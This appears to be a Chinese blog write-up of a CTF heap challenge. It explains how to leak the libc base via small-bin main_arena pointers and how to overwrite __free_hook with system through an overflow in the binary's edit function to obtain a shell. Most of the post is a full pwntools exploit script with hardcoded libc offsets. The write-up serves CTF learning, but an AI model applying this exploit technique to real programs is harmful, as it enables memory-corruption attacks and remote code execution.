关于堆的一点笔记

在0ctf 2017的时候,当时才开始学pwn,所以做不出来题似乎也给自己找了一点心安的理由。可是居然一直没有去回顾比赛中的题,过了这么久才发现里面的题质量真的是高。

其实之前比较熟悉的都是fast bin的一些东西,所以这次国赛的题也是吃了一回鳖。我就拿这次国赛的题,来记录一下利用small bin leak libc地址的一些东西。

关于heap overflow的一些笔记

这张图相比都见得比较多了,但是以前一直都没有仔细观察过,果然还是有很长的路要走啊(orz

可以发现,这几个chunk都是一个双向链表,而其中就包涵了main_arena的地址信息。所以,只要我们能获取到已经释放了的块中的信息,我们是可以算出libc的基质的。

这里我拿这次国赛的题举例,类似的题还有0ctf 2017里面的babyheap,大家也可以去看看。

首先,我们可以先创建几个chunk,之后再free掉,这时候就有main arena的地址信息,之后只要再创建一个,然后不输入任何信息,就可以获得地址信息了。

获得地址信息后,我们可以发现,这道题在edit中存在溢出:

这就可以让我们修改其他chunk的字符串地址,就可以实现任意地址读写。

这里可以选择覆盖free_hook为system的地址,然后创建一个数据为‘/bin/sh’的chunk,free掉就可以拿到shell了。

#-*-coding:utf-8-*-

from pwn import *

p = process('./easyheap', env = {'LD_PRELOAD' : '/home/pzhxbz/桌面/content/2017/libc.so.6'})
libc = ELF('libc.so.6')

def launch_gdb():
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])


def create(content_size, content):
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(content_size))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Create done!')
#    id = p.recvline()
    #return eval(id)
    return


def edit(id, new_size, content):
    p.sendline('2')
    p.recvuntil('id:')
    p.sendline(str(id))
    p.recvuntil('Size:')
    p.sendline(str(new_size))
    p.recvuntil('Content:')
    p.send(content)
    p.recvuntil('done!')


def list(id):
    p.sendline('3')
    p.recvuntil('id:'+str(id))
    p.recvuntil('content:')
    return p.recvline()


def remove(id):
    p.sendline('4')
    p.recvuntil('id:')
    p.sendline(str(id))
    #p.recvuntil('done!')


create(0x90, '1'*0x8f)   # create small bin
create(0x90, 'a'*0x8f)
create(0x90, 'b'*0x8f)
create(0x90, '/bin/sh')
remove(0)
remove(1)
create(0x90,'')
recv = list(0)
#launch_gdb()
main_arena = u64(recv[0:6].ljust(8, '\x00')) # leak main arena address

log.info('main arena address = ' + hex(main_arena))

libc_base = main_arena - 0x3c4b78

system_address = libc_base + 0x45390      # libc.symbols['system']
free_hook_address = libc_base + 0x3c67a8   # libc.symbols['__free_hook']

log.info('system_address = ' + hex(system_address))
log.info('free_hook_address = ' + hex(free_hook_address))

create(0x90, p64(system_address)) #0

edit(0, 0x90+0x20, 'a'*0xa0 + p64(0x90) + p64(free_hook_address))

#launch_gdb()
edit(0, 8, p64(system_address))  #1

#create(0x90,'')

remove(3)

p.interactive()

#edit(1, 0x80, 'a'*0x40+)
#list(2)

发表评论

电子邮件地址不会被公开。 必填项已用*标注